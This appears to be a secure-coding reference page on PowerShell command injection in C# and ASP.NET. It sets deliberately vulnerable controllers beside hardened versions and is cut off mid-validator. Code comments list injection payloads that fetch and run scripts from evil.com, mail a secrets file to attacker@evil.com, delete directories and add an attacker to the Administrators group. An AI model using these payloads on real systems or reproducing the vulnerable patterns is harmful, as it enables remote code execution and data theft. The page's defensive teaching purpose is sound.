PowerShell Injection in C# Applications

Critical Risk Command Injection
csharpdotnetpowershellcommand-injectionprocess-startshellrceuser-inputwindows

What it is

A critical security vulnerability in C# applications where user-controlled input is passed to PowerShell execution methods without proper sanitization. This includes using PowerShell.Create(), Process.Start() with powershell.exe, or PowerShell cmdlets with unsanitized user input. Attackers can execute arbitrary PowerShell commands, leading to complete system compromise, data exfiltration, privilege escalation, or remote code execution. PowerShell's extensive access to Windows systems and .NET framework makes this particularly dangerous.

using Microsoft.AspNetCore.Mvc;
using System.Management.Automation;
using System.Diagnostics;

// VULNERABLE: ASP.NET Web API with PowerShell injection vulnerabilities
[ApiController]
[Route("api/[controller]")]
public class SystemManagementController : ControllerBase
{
    // VULNERABLE: Direct user input in PowerShell script
    [HttpGet("processes/{processName}")]
    public IActionResult GetProcesses(string processName)
    {
        try
        {
            using (PowerShell ps = PowerShell.Create())
            {
                // DANGEROUS: User input directly in PowerShell command
                ps.AddScript($"Get-Process {processName} | Select-Object Name, Id, CPU");
                
                var results = ps.Invoke();
                var output = results.Select(r => r.ToString()).ToArray();
                
                return Ok(new { processes = output });
            }
        }
        catch (Exception ex)
        {
            return StatusCode(500, $"Error: {ex.Message}");
        }
    }
    
    // VULNERABLE: Process.Start with PowerShell and user input
    [HttpPost("execute")]
    public IActionResult ExecutePowerShellCommand([FromBody] CommandRequest request)
    {
        try
        {
            var processStartInfo = new ProcessStartInfo
            {
                FileName = "powershell.exe",
                // DANGEROUS: User input as PowerShell argument
                Arguments = $"-ExecutionPolicy Bypass -Command \"{request.Command}\"",
                RedirectStandardOutput = true,
                RedirectStandardError = true,
                UseShellExecute = false,
                CreateNoWindow = true
            };
            
            using (var process = Process.Start(processStartInfo))
            {
                string output = process.StandardOutput.ReadToEnd();
                string error = process.StandardError.ReadToEnd();
                process.WaitForExit();
                
                return Ok(new { 
                    output = output, 
                    error = error, 
                    exitCode = process.ExitCode 
                });
            }
        }
        catch (Exception ex)
        {
            return StatusCode(500, $"Execution failed: {ex.Message}");
        }
    }
    
    // VULNERABLE: File operations with user input
    [HttpGet("files")]
    public IActionResult ListFiles([FromQuery] string path, [FromQuery] string filter = "*.*")
    {
        try
        {
            using (PowerShell ps = PowerShell.Create())
            {
                // DANGEROUS: Path and filter from user input
                string script = $"Get-ChildItem -Path '{path}' -Filter '{filter}' | Select-Object Name, Length, LastWriteTime";
                ps.AddScript(script);
                
                var results = ps.Invoke();
                
                if (ps.HadErrors)
                {
                    var errors = ps.Streams.Error.Select(e => e.Exception?.Message).ToArray();
                    return BadRequest(new { errors });
                }
                
                var files = results.Select(r => r.ToString()).ToArray();
                return Ok(new { files });
            }
        }
        catch (Exception ex)
        {
            return StatusCode(500, $"Error listing files: {ex.Message}");
        }
    }
    
    // VULNERABLE: System information with user parameters
    [HttpPost("system-info")]
    public IActionResult GetSystemInfo([FromBody] SystemInfoRequest request)
    {
        try
        {
            using (PowerShell ps = PowerShell.Create())
            {
                var scriptBuilder = new System.Text.StringBuilder();
                
                // DANGEROUS: Computer name from user input
                if (!string.IsNullOrEmpty(request.ComputerName))
                {
                    scriptBuilder.AppendLine($"$ComputerName = '{request.ComputerName}'");
                }
                
                switch (request.InfoType?.ToLower())
                {
                    case "os":
                        scriptBuilder.AppendLine("Get-ComputerInfo -Property WindowsProductName, WindowsVersion, TotalPhysicalMemory");
                        break;
                    case "services":
                        scriptBuilder.AppendLine("Get-Service");
                        break;
                    case "eventlogs":
                        // DANGEROUS: Log name and filter from user input
                        scriptBuilder.AppendLine($"Get-EventLog -LogName '{request.LogName}' -Newest {request.MaxEntries}");
                        break;
                    case "custom":
                        // DANGEROUS: Custom script from user input
                        scriptBuilder.AppendLine(request.CustomScript);
                        break;
                }
                
                ps.AddScript(scriptBuilder.ToString());
                var results = ps.Invoke();
                
                return Ok(new { data = results.Select(r => r.ToString()).ToArray() });
            }
        }
        catch (Exception ex)
        {
            return StatusCode(500, $"System info error: {ex.Message}");
        }
    }
    
    // VULNERABLE: Network operations with user input
    [HttpPost("download")]
    public IActionResult DownloadFile([FromBody] DownloadRequest request)
    {
        try
        {
            using (PowerShell ps = PowerShell.Create())
            {
                // DANGEROUS: URL and file path from user input
                string command = $"Invoke-WebRequest -Uri '{request.Url}' -OutFile '{request.OutputPath}'";
                
                if (!string.IsNullOrEmpty(request.UserAgent))
                {
                    command += $" -UserAgent '{request.UserAgent}'";
                }
                
                if (request.Headers != null)
                {
                    foreach (var header in request.Headers)
                    {
                        // DANGEROUS: Headers from user input
                        command += $" -Headers @{{'{header.Key}'='{header.Value}'}}}";
                    }
                }
                
                ps.AddScript(command);
                ps.Invoke();
                
                if (ps.HadErrors)
                {
                    var errors = ps.Streams.Error.Select(e => e.Exception?.Message).ToArray();
                    return BadRequest(new { errors });
                }
                
                return Ok(new { message = "Download completed", path = request.OutputPath });
            }
        }
        catch (Exception ex)
        {
            return StatusCode(500, $"Download failed: {ex.Message}");
        }
    }
}

// Request DTOs
public class CommandRequest
{
    public string Command { get; set; }
    public Dictionary<string, string> Parameters { get; set; }
}

public class SystemInfoRequest
{
    public string InfoType { get; set; }
    public string ComputerName { get; set; }
    public string LogName { get; set; }
    public int MaxEntries { get; set; } = 100;
    public string CustomScript { get; set; }
}

public class DownloadRequest
{
    public string Url { get; set; }
    public string OutputPath { get; set; }
    public string UserAgent { get; set; }
    public Dictionary<string, string> Headers { get; set; }
}

/*
Attack examples:
GET /api/SystemManagement/processes/notepad;%20Remove-Item%20-Path%20C:\\important%20-Recurse
POST /api/SystemManagement/execute with { "Command": "Get-Process; Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/backdoor.ps1')" }
GET /api/SystemManagement/files?path=C:\\&filter=*.*';%20Remove-Item%20-Path%20C:\\*%20-Recurse;%20echo%20'
POST /api/SystemManagement/system-info with { "InfoType": "custom", "CustomScript": "Start-Process cmd -ArgumentList '/c calc.exe'" }
POST /api/SystemManagement/download with { "Url": "http://example.com'; Invoke-Expression (iwr http://evil.com/payload.ps1).Content; #", "OutputPath": "C:\\temp\\file.txt" }
*/
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using System.ComponentModel.DataAnnotations;
using System.Management.Automation;
using System.Diagnostics;
using System.Text.RegularExpressions;
using System.Collections.Concurrent;

// SECURE: ASP.NET Web API with comprehensive security measures
[ApiController]
[Route("api/[controller]")]
public class SecureSystemManagementController : ControllerBase
{
    private readonly ILogger<SecureSystemManagementController> _logger;
    private readonly SecurePowerShellService _powerShellService;
    private readonly IRateLimitingService _rateLimitingService;
    private readonly ISecurityAuditService _auditService;
    
    public SecureSystemManagementController(
        ILogger<SecureSystemManagementController> logger,
        SecurePowerShellService powerShellService,
        IRateLimitingService rateLimitingService,
        ISecurityAuditService auditService)
    {
        _logger = logger;
        _powerShellService = powerShellService;
        _rateLimitingService = rateLimitingService;
        _auditService = auditService;
    }
    
    // SECURE: Process information with validation
    [HttpGet("processes/{processName}")]
    public async Task<IActionResult> GetProcesses([ProcessNameValidation] string processName)
    {
        var clientIP = GetClientIP();
        
        // Rate limiting
        if (!await _rateLimitingService.IsAllowedAsync(clientIP, "GetProcesses"))
        {
            return StatusCode(429, "Rate limit exceeded");
        }
        
        // Security audit logging
        _auditService.LogAPIRequest("GetProcesses", clientIP, new { processName });
        
        try
        {
            // Input validation
            var validation = PowerShellInputValidator.ValidateProcessName(processName);
            if (!validation.IsValid)
            {
                return BadRequest(new { errors = validation.Errors });
            }
            
            // Use secure PowerShell execution
            var result = await _powerShellService.GetProcessInfoSafely(processName);
            
            return Ok(new { 
                processes = result,
                processName = processName,
                timestamp = DateTime.UtcNow
            });
        }
        catch (ValidationException ex)
        {
            _logger.LogWarning("Validation error in GetProcesses: {Error}", ex.Message);
            return BadRequest(new { error = "Invalid input parameters" });
        }
        catch (SecurityException ex)
        {
            _logger.LogWarning("Security violation in GetProcesses from {ClientIP}: {Error}", clientIP, ex.Message);
            _auditService.LogSecurityViolation("GetProcesses", clientIP, ex.Message);
            return Forbid("Security policy violation");
        }
        catch (Exception ex)
        {
            _logger.LogError(ex, "Error in GetProcesses for process {ProcessName}", processName);
            return StatusCode(500, "Internal server error");
        }
    }
    
    // SECURE: Restricted command execution with allowlist
    [HttpPost("execute")]
    public async Task<IActionResult> ExecuteAllowedCommand([FromBody] SecureCommandRequest request)
    {
        var clientIP = GetClientIP();
        
        if (!await _rateLimitingService.IsAllowedAsync(clientIP, "ExecuteCommand"))
        {
            return StatusCode(429, "Rate limit exceeded");
        }
        
        _auditService.LogAPIRequest("ExecuteCommand", clientIP, new { command = request.CommandName });
        
        try
        {
            // Validate request
            if (!ModelState.IsValid)
            {
                return BadRequest(ModelState);
            }
            
            // Execute with sandboxed PowerShell
            var result = await _powerShellService.ExecuteAllowedCommandSafely(
                request.CommandName, 
                request.Parameters ?? new Dictionary<string, object>(),
                TimeSpan.FromSeconds(30));
            
            if (!result.Success)
            {
                return BadRequest(new { 
                    error = "Command execution failed",
                    details = result.Errors
                });
            }
            
            return Ok(new {
                success = true,
                output = result.Output,
                executionTime = result.Duration.TotalMilliseconds,
                timestamp = DateTime.UtcNow
            });
        }
        catch (SecurityException ex)
        {
            _logger.LogWarning("Security violation in ExecuteCommand from {ClientIP}: {Error}", clientIP, ex.Message);
            _auditService.LogSecurityViolation("ExecuteCommand", clientIP, ex.Message);
            return Forbid("Command not allowed");
        }
        catch (Exception ex)
        {
            _logger.LogError(ex, "Error executing command {Command}", request.CommandName);
            return StatusCode(500, "Command execution failed");
        }
    }
    
    // SECURE: File listing with path validation
    [HttpGet("files")]
    public async Task<IActionResult> ListFiles([FromQuery] SecureFileListRequest request)
    {
        var clientIP = GetClientIP();
        
        if (!await _rateLimitingService.IsAllowedAsync(clientIP, "ListFiles"))
        {
            return StatusCode(429, "Rate limit exceeded");
        }
        
        _auditService.LogAPIRequest("ListFiles", clientIP, new { path = request.Path });
        
        try
        {
            // Validate model
            if (!ModelState.IsValid)
            {
                return BadRequest(ModelState);
            }
            
            // Use .NET file system operations instead of PowerShell
            var fileSystemService = new SecureFileSystemService();
            var files = fileSystemService.GetDirectoryContents(
                request.Path, 
                request.Filter ?? "*.*",
                request.MaxResults ?? 100);
            
            return Ok(new {
                path = request.Path,
                filter = request.Filter,
                fileCount = files.Count(),
                files = files.Select(f => new {
                    name = f.Name,
                    size = f is FileInfo fi ? fi.Length : 0,
                    lastModified = f.LastWriteTime,
                    isDirectory = f is DirectoryInfo
                })
            });
        }
        catch (SecurityException ex)
        {
            _logger.LogWarning("Security violation in ListFiles from {ClientIP}: {Error}", clientIP, ex.Message);
            return Forbid("Path access denied");
        }
        catch (DirectoryNotFoundException)
        {
            return NotFound("Directory not found");
        }
        catch (Exception ex)
        {
            _logger.LogError(ex, "Error listing files for path {Path}", request.Path);
            return StatusCode(500, "File listing failed");
        }
    }
    
    // SECURE: System information with restricted operations
    [HttpPost("system-info")]
    public async Task<IActionResult> GetSystemInfo([FromBody] SecureSystemInfoRequest request)
    {
        var clientIP = GetClientIP();
        
        if (!await _rateLimitingService.IsAllowedAsync(clientIP, "GetSystemInfo"))
        {
            return StatusCode(429, "Rate limit exceeded");
        }
        
        _auditService.LogAPIRequest("GetSystemInfo", clientIP, new { infoType = request.InfoType });
        
        try
        {
            if (!ModelState.IsValid)
            {
                return BadRequest(ModelState);
            }
            
            // Use .NET libraries instead of PowerShell where possible
            var systemService = new SecureSystemOperations();
            
            object result = request.InfoType.ToLower() switch
            {
                "processes" => systemService.GetRunningProcesses(request.ProcessFilter),
                "services" => systemService.GetSystemServices(request.ServiceFilter),
                "system" => systemService.GetSystemInformation(),
                _ => throw new ArgumentException($"Invalid info type: {request.InfoType}")
            };
            
            return Ok(new {
                infoType = request.InfoType,
                data = result,
                timestamp = DateTime.UtcNow
            });
        }
        catch (ArgumentException ex)
        {
            return BadRequest(new { error = ex.Message });
        }
        catch (Exception ex)
        {
            _logger.LogError(ex, "Error getting system info for type {InfoType}", request.InfoType);
            return StatusCode(500, "System information retrieval failed");
        }
    }
    
    // SECURE: File download with validation
    [HttpPost("download")]
    public async Task<IActionResult> DownloadFile([FromBody] SecureDownloadRequest request)
    {
        var clientIP = GetClientIP();
        
        if (!await _rateLimitingService.IsAllowedAsync(clientIP, "DownloadFile"))
        {
            return StatusCode(429, "Rate limit exceeded");
        }
        
        _auditService.LogAPIRequest("DownloadFile", clientIP, new { url = request.Url });
        
        try
        {
            if (!ModelState.IsValid)
            {
                return BadRequest(ModelState);
            }
            
            // Use secure HTTP client instead of PowerShell
            var downloadService = new SecureDownloadService();
            var result = await downloadService.DownloadFileAsync(
                request.Url, 
                request.OutputFileName,
                maxSizeBytes: 50 * 1024 * 1024); // 50MB limit
            
            return Ok(new {
                message = "Download completed successfully",
                fileName = request.OutputFileName,
                size = result.FileSize,
                downloadTime = result.Duration.TotalSeconds
            });
        }
        catch (SecurityException ex)
        {
            _logger.LogWarning("Security violation in DownloadFile from {ClientIP}: {Error}", clientIP, ex.Message);
            return Forbid("Download not allowed");
        }
        catch (HttpRequestException ex)
        {
            return BadRequest(new { error = $"Download failed: {ex.Message}" });
        }
        catch (Exception ex)
        {
            _logger.LogError(ex, "Error downloading file from {Url}", request.Url);
            return StatusCode(500, "Download failed");
        }
    }
    
    private string GetClientIP()
    {
        return HttpContext.Connection.RemoteIpAddress?.ToString() ?? "Unknown";
    }
}

// Secure request DTOs with validation attributes
public class SecureCommandRequest
{
    [Required]
    [AllowedCommand]
    public string CommandName { get; set; }
    
    [ValidatedParameters]
    public Dictionary<string, object> Parameters { get; set; }
    
    [Range(1, 120)]
    public int TimeoutSeconds { get; set; } = 30;
}

public class SecureFileListRequest
{
    [Required]
    [AllowedPath]
    public string Path { get; set; }
    
    [FileFilter]
    public string Filter { get; set; } = "*.*";
    
    [Range(1, 1000)]
    public int? MaxResults { get; set; } = 100;
}

public class SecureSystemInfoRequest
{
    [Required]
    [AllowedValues("processes", "services", "system")]
    public string InfoType { get; set; }
    
    [ProcessNameValidation]
    public string ProcessFilter { get; set; }
    
    [ServiceNameValidation]
    public string ServiceFilter { get; set; }
}

public class SecureDownloadRequest
{
    [Required]
    [AllowedUrl]
    public string Url { get; set; }
    
    [Required]
    [ValidFileName]
    public string OutputFileName { get; set; }
}

// Custom validation attributes
public class ProcessNameValidationAttribute : ValidationAttribute
{
    public override bool IsValid(object value)
    {
        if (value is string processName)
        {
            var validation = PowerShellInputValidator.ValidateProcessName(processName);
            ErrorMessage = string.Join(", ", validation.Errors);
            return validation.IsValid;
        }
        return false;
    }
}

public class AllowedCommandAttribute : ValidationAttribute
{
    private static readonly HashSet<string> AllowedCommands = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
    {
        "Get-Process", "Get-Service", "Get-ChildItem", "Test-Path", "Get-Date"
    };
    
    public override bool IsValid(object value)
    {
        if (value is string command)
        {
            var isAllowed = AllowedCommands.Contains(command);
            if (!isAllowed)
                ErrorMessage = $"Command '{command}' is not allowed";
            return isAllowed;
        }
        return false;
    }
}

public class AllowedPathAttribute : ValidationAttribute
{
    public override bool IsValid(object value)
    {
        if (value is string path)
        {
            var validation = PowerShellInputValidator.ValidateFilePath(path);
            ErrorMessage = string.Join(", ", validation.Errors);
            return validation.IsValid;
        }
        return false;
    }
}

public class AllowedUrlAttribute : ValidationAttribute
{
    private static readonly HashSet<string> AllowedHosts = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
    {
        "api.example.com", "secure.mycompany.com", "files.trusted.com"
    };
    
    public override bool IsValid(object value)
    {
        if (value is string url)
        {
            if (Uri.TryCreate(url, UriKind.Absolute, out Uri uri))
            {
                var isAllowed = AllowedHosts.Contains(uri.Host) && 
                               (uri.Scheme == "https" || uri.Scheme == "http");
                if (!isAllowed)
                    ErrorMessage = $"URL host '{uri.Host}' is not in allowed list";
                return isAllowed;
            }
            ErrorMessage = "Invalid URL format";
        }
        return false;
    }
}

// Supporting services would be implemented here...
public interface IRateLimitingService
{
    Task<bool> IsAllowedAsync(string clientId, string operation);
}

public interface ISecurityAuditService
{
    void LogAPIRequest(string operation, string clientIP, object parameters);
    void LogSecurityViolation(string operation, string clientIP, string details);
}

public class SecureDownloadService
{
    public async Task<DownloadResult> DownloadFileAsync(string url, string fileName, int maxSizeBytes)
    {
        // Implementation using HttpClient with security controls
        throw new NotImplementedException();
    }
}

public class DownloadResult
{
    public long FileSize { get; set; }
    public TimeSpan Duration { get; set; }
}

public class SecureFileSystemService
{
    public IEnumerable<FileSystemInfo> GetDirectoryContents(string path, string filter, int maxResults)
    {
        // Implementation using .NET file system APIs with security controls
        throw new NotImplementedException();
    }
}

💡 Why This Fix Works

The vulnerable version directly passes user input to PowerShell scripts and Process.Start(), allowing command injection through script content, file paths, and command parameters. The secure version uses command allowlists, comprehensive input validation with custom attributes, sandboxed PowerShell execution, .NET libraries where possible, rate limiting, security audit logging, and proper error handling that doesn't expose sensitive information.

Why it happens

Using the PowerShell.Create() method with user-controlled input to build PowerShell scripts or commands. This method provides direct access to the PowerShell runtime and can execute any PowerShell command or script. When user input is concatenated into PowerShell commands without validation, attackers can inject malicious PowerShell code that executes with the application's privileges.

Root causes

Unsanitized User Input in PowerShell.Create()

Using the PowerShell.Create() method with user-controlled input to build PowerShell scripts or commands. This method provides direct access to the PowerShell runtime and can execute any PowerShell command or script. When user input is concatenated into PowerShell commands without validation, attackers can inject malicious PowerShell code that executes with the application's privileges.

Preview example – CSHARP
using System.Management.Automation;

// VULNERABLE: Direct user input in PowerShell script
public string ExecutePowerShellCommand(string userCommand)
{
    using (PowerShell ps = PowerShell.Create())
    {
        // DANGEROUS: User input directly added to PowerShell command
        ps.AddScript($"Get-Process {userCommand}");
        
        var results = ps.Invoke();
        return string.Join("\n", results.Select(r => r.ToString()));
    }
}

public string GetFileInfo(string fileName)
{
    using (PowerShell ps = PowerShell.Create())
    {
        // DANGEROUS: File name from user input
        string script = $"Get-ChildItem '{fileName}' | Select-Object Name, Length";
        ps.AddScript(script);
        
        var results = ps.Invoke();
        return ProcessResults(results);
    }
}

// Attack examples:
// userCommand = "notepad; Invoke-WebRequest -Uri 'http://evil.com/backdoor.ps1' | Invoke-Expression"
// fileName = "test.txt'; Remove-Item -Recurse C:\\Users; Write-Host 'cleaned"

Process.Start() with PowerShell and User Input

Using Process.Start() to launch powershell.exe with user-controlled arguments or script content. This approach is dangerous because it passes arguments directly to the PowerShell process, and any shell metacharacters or PowerShell syntax in user input can be interpreted as commands. This method is often used in web applications or services that need to execute system operations.

Preview example – CSHARP
using System.Diagnostics;

// VULNERABLE: Process.Start with PowerShell and user input
public string RunPowerShellScript(string scriptContent)
{
    var processStartInfo = new ProcessStartInfo
    {
        FileName = "powershell.exe",
        // DANGEROUS: User input as PowerShell argument
        Arguments = $"-Command \"{scriptContent}\"",
        RedirectStandardOutput = true,
        UseShellExecute = false,
        CreateNoWindow = true
    };
    
    using (var process = Process.Start(processStartInfo))
    {
        string output = process.StandardOutput.ReadToEnd();
        process.WaitForExit();
        return output;
    }
}

public void ExecuteSystemCommand(string command, string parameters)
{
    var startInfo = new ProcessStartInfo
    {
        FileName = "powershell.exe",
        // DANGEROUS: Both command and parameters from user input
        Arguments = $"-ExecutionPolicy Bypass -Command {command} {parameters}",
        WindowStyle = ProcessWindowStyle.Hidden
    };
    
    Process.Start(startInfo);
}

// Attack payloads:
// scriptContent = "Get-Process; Start-Process cmd -ArgumentList '/c calc.exe'"
// command = "Get-Content", parameters = "C:\\secrets.txt; Send-MailMessage -To attacker@evil.com -Body (Get-Content C:\\secrets.txt)"

PowerShell Cmdlet Parameter Injection

Building PowerShell cmdlets dynamically with user input as parameters without proper escaping or validation. Even when using legitimate PowerShell cmdlets, if user input is used to construct parameter values, attackers can inject additional cmdlets or modify the intended behavior. This is particularly common in file operations, network requests, or system management tasks.

Preview example – CSHARP
using System.Management.Automation;

// VULNERABLE: Dynamic cmdlet construction with user input
public class PowerShellFileManager
{
    public string DownloadFile(string url, string fileName)
    {
        using (PowerShell ps = PowerShell.Create())
        {
            // DANGEROUS: URL and filename from user input
            string command = $"Invoke-WebRequest -Uri '{url}' -OutFile '{fileName}'";
            ps.AddScript(command);
            
            var results = ps.Invoke();
            return "Download completed";
        }
    }
    
    public string SearchFiles(string path, string pattern)
    {
        using (PowerShell ps = PowerShell.Create())
        {
            // DANGEROUS: Path and pattern from user input
            ps.AddCommand("Get-ChildItem")
              .AddParameter("Path", path)
              .AddParameter("Filter", pattern)
              .AddParameter("Recurse");
            
            // Additional command with user input
            ps.AddScript($"| Where-Object {{ $_.Name -like '*{pattern}*' }}");
            
            var results = ps.Invoke();
            return ProcessSearchResults(results);
        }
    }
    
    public void ExecuteWithUserCredentials(string username, string command)
    {
        using (PowerShell ps = PowerShell.Create())
        {
            // DANGEROUS: Username and command from user input
            string script = $"Start-Process -Credential (Get-Credential {username}) -FilePath 'powershell.exe' -ArgumentList '{command}'";
            ps.AddScript(script);
            ps.Invoke();
        }
    }
}

// Attack examples:
// url = "http://example.com/file.txt'; Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1'); #"
// path = "C:\\temp'; Remove-Item -Path C:\\important -Recurse; Write-Host '"
// pattern = "*.txt'; Get-Process | Stop-Process -Force; echo '"

PowerShell Script Template Injection

Using string formatting, templates, or concatenation to build PowerShell scripts with user input. This often occurs when applications generate PowerShell scripts dynamically based on user preferences, configuration files, or API parameters. Template injection in PowerShell is particularly dangerous because of PowerShell's ability to access .NET classes, WMI, and system resources.

Preview example – CSHARP
using System.Management.Automation;
using System.Text;

// VULNERABLE: PowerShell script generation with user input
public class PowerShellScriptGenerator
{
    public string GenerateSystemReport(string computerName, string reportType, Dictionary<string, string> parameters)
    {
        var scriptBuilder = new StringBuilder();
        
        // DANGEROUS: Computer name from user input
        scriptBuilder.AppendLine($"$ComputerName = '{computerName}'");
        scriptBuilder.AppendLine($"Write-Host 'Generating {reportType} report for' $ComputerName");
        
        // Build report based on type
        switch (reportType.ToLower())
        {
            case "system":
                scriptBuilder.AppendLine("Get-ComputerInfo");
                break;
            case "processes":
                scriptBuilder.AppendLine("Get-Process");
                break;
            case "services":
                scriptBuilder.AppendLine("Get-Service");
                break;
            case "custom":
                // DANGEROUS: Custom parameters from user input
                foreach (var param in parameters)
                {
                    scriptBuilder.AppendLine($"${param.Key} = '{param.Value}'");
                }
                break;
        }
        
        // Execute the generated script
        using (PowerShell ps = PowerShell.Create())
        {
            string finalScript = scriptBuilder.ToString();
            ps.AddScript(finalScript);
            
            var results = ps.Invoke();
            return string.Join("\n", results.Select(r => r.ToString()));
        }
    }
    
    public void ExecuteConfiguredScript(string templatePath, Dictionary<string, object> variables)
    {
        string template = File.ReadAllText(templatePath);
        
        // DANGEROUS: Variable substitution without validation
        foreach (var variable in variables)
        {
            template = template.Replace($"{{{{ {variable.Key} }}}}", variable.Value.ToString());
        }
        
        using (PowerShell ps = PowerShell.Create())
        {
            ps.AddScript(template);
            ps.Invoke();
        }
    }
}

// Attack vectors:
// computerName = "SERVER01'; Invoke-Expression (Invoke-WebRequest -Uri 'http://evil.com/backdoor.ps1').Content; Write-Host '"
// parameters["CustomPath"] = "C:\\temp'; Remove-Item -Path C:\\* -Recurse -Force; Write-Host '"
// variables["UserName"] = "admin'; Add-LocalGroupMember -Group Administrators -Member attacker; Write-Host '"

Fixes

1

Use PowerShell Command Objects with Parameter Validation

Instead of building PowerShell scripts as strings, use PowerShell's command objects with proper parameter binding. This approach prevents injection by treating user input as data rather than executable code. Implement comprehensive input validation for all parameters and use allowlists for command names and parameter values.

View implementation – CSHARP
using System.Management.Automation;
using System.Text.RegularExpressions;

// SECURE: PowerShell execution with proper parameter binding and validation
public class SecurePowerShellExecutor
{
    private readonly HashSet<string> _allowedCommands = new HashSet<string>
    {
        "Get-Process",
        "Get-Service", 
        "Get-ChildItem",
        "Get-Content",
        "Test-Path"
    };
    
    private readonly Regex _processNameRegex = new Regex(@"^[a-zA-Z0-9._-]+$");
    private readonly Regex _filePathRegex = new Regex(@"^[a-zA-Z]:\\[a-zA-Z0-9\\._-]+$");
    
    public string GetProcessesSafely(string processNamePattern)
    {
        // Comprehensive input validation
        if (string.IsNullOrWhiteSpace(processNamePattern))
            throw new ArgumentException("Process name pattern cannot be empty");
        
        if (processNamePattern.Length > 100)
            throw new ArgumentException("Process name pattern too long");
        
        if (!_processNameRegex.IsMatch(processNamePattern))
            throw new ArgumentException("Invalid characters in process name pattern");
        
        using (PowerShell ps = PowerShell.Create())
        {
            // SECURE: Use command objects with parameters
            ps.AddCommand("Get-Process")
              .AddParameter("Name", processNamePattern + "*")
              .AddParameter("ErrorAction", "SilentlyContinue");
            
            try
            {
                var results = ps.Invoke();
                
                if (ps.HadErrors)
                {
                    var errors = ps.Streams.Error.ReadAll();
                    throw new InvalidOperationException($"PowerShell execution errors: {string.Join(", ", errors)}");
                }
                
                return string.Join("\n", results.Select(r => FormatProcessInfo(r)));
            }
            catch (Exception ex)
            {
                throw new InvalidOperationException($"Failed to get processes: {ex.Message}", ex);
            }
        }
    }
    
    public FileInfo GetFileInfoSafely(string filePath)
    {
        // Strict file path validation
        ValidateFilePath(filePath);
        
        using (PowerShell ps = PowerShell.Create())
        {
            // SECURE: Parameterized command execution
            ps.AddCommand("Get-ChildItem")
              .AddParameter("Path", filePath)
              .AddParameter("Force", false) // Don't show hidden files
              .AddParameter("ErrorAction", "Stop");
            
            try
            {
                var results = ps.Invoke();
                
                if (!results.Any())
                    throw new FileNotFoundException($"File not found: {filePath}");
                
                var fileObject = results.First();
                return ConvertToFileInfo(fileObject);
            }
            catch (Exception ex)
            {
                throw new InvalidOperationException($"Failed to get file info: {ex.Message}", ex);
            }
        }
    }
    
    public bool TestPathSafely(string path)
    {
        ValidateFilePath(path);
        
        using (PowerShell ps = PowerShell.Create())
        {
            ps.AddCommand("Test-Path")
              .AddParameter("Path", path)
              .AddParameter("PathType", "Any");
            
            var results = ps.Invoke();
            return results.Any() && (bool)results.First().BaseObject;
        }
    }
    
    private void ValidateFilePath(string filePath)
    {
        if (string.IsNullOrWhiteSpace(filePath))
            throw new ArgumentException("File path cannot be empty");
        
        if (filePath.Length > 260) // Windows MAX_PATH
            throw new ArgumentException("File path too long");
        
        if (!_filePathRegex.IsMatch(filePath))
            throw new ArgumentException("Invalid file path format");
        
        // Check for path traversal
        if (filePath.Contains("..") || filePath.Contains("//"))
            throw new ArgumentException("Path traversal detected");
        
        // Restrict to allowed directories
        var allowedDirectories = new[] 
        {
            @"C:\App\Data",
            @"C:\App\Logs",
            @"C:\Temp"
        };
        
        if (!allowedDirectories.Any(dir => filePath.StartsWith(dir, StringComparison.OrdinalIgnoreCase)))
            throw new ArgumentException("Path not in allowed directories");
    }
    
    private string FormatProcessInfo(PSObject processObject)
    {
        var name = processObject.Properties["ProcessName"]?.Value?.ToString() ?? "Unknown";
        var id = processObject.Properties["Id"]?.Value?.ToString() ?? "0";
        var cpu = processObject.Properties["CPU"]?.Value?.ToString() ?? "0";
        
        return $"Process: {name} (ID: {id}, CPU: {cpu})";
    }
    
    private FileInfo ConvertToFileInfo(PSObject fileObject)
    {
        return new FileInfo
        {
            Name = fileObject.Properties["Name"]?.Value?.ToString() ?? string.Empty,
            FullPath = fileObject.Properties["FullName"]?.Value?.ToString() ?? string.Empty,
            Size = Convert.ToInt64(fileObject.Properties["Length"]?.Value ?? 0),
            LastModified = Convert.ToDateTime(fileObject.Properties["LastWriteTime"]?.Value ?? DateTime.MinValue),
            IsDirectory = Convert.ToBoolean(fileObject.Properties["PSIsContainer"]?.Value ?? false)
        };
    }
}

// Data transfer object for file information
public class FileInfo
{
    public string Name { get; set; }
    public string FullPath { get; set; }
    public long Size { get; set; }
    public DateTime LastModified { get; set; }
    public bool IsDirectory { get; set; }
}
2

Implement Comprehensive Input Validation and Sanitization

Create robust input validation frameworks that use allowlists, regular expressions, and type checking to validate all user input before it reaches PowerShell execution. Implement separate validation rules for different types of input such as file paths, process names, URLs, and system commands. Use strong typing and data transfer objects to ensure type safety.

View implementation – CSHARP
using System.Text.RegularExpressions;
using System.ComponentModel.DataAnnotations;

// SECURE: Comprehensive input validation framework
public static class PowerShellInputValidator
{
    // Validation patterns
    private static readonly Regex ProcessNamePattern = new Regex(@"^[a-zA-Z0-9._-]{1,50}$");
    private static readonly Regex FileNamePattern = new Regex(@"^[a-zA-Z0-9._-]{1,255}$");
    private static readonly Regex DirectoryPathPattern = new Regex(@"^[a-zA-Z]:\\([a-zA-Z0-9._-]+\\)*[a-zA-Z0-9._-]*$");
    private static readonly Regex HostnamePattern = new Regex(@"^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$");
    
    // Allowlists
    private static readonly HashSet<string> AllowedCommands = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
    {
        "Get-Process", "Get-Service", "Get-ChildItem", "Get-Content", 
        "Test-Path", "Get-Location", "Get-Date", "Get-ComputerInfo"
    };
    
    private static readonly HashSet<string> AllowedFileExtensions = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
    {
        ".txt", ".log", ".csv", ".json", ".xml", ".config"
    };
    
    public static ValidationResult ValidateProcessName(string processName)
    {
        var result = new ValidationResult();
        
        if (string.IsNullOrWhiteSpace(processName))
        {
            result.AddError("Process name cannot be empty");
            return result;
        }
        
        if (processName.Length > 50)
        {
            result.AddError("Process name too long (max 50 characters)");
        }
        
        if (!ProcessNamePattern.IsMatch(processName))
        {
            result.AddError("Process name contains invalid characters (allowed: a-z, A-Z, 0-9, ., _, -)");
        }
        
        // Check for suspicious patterns
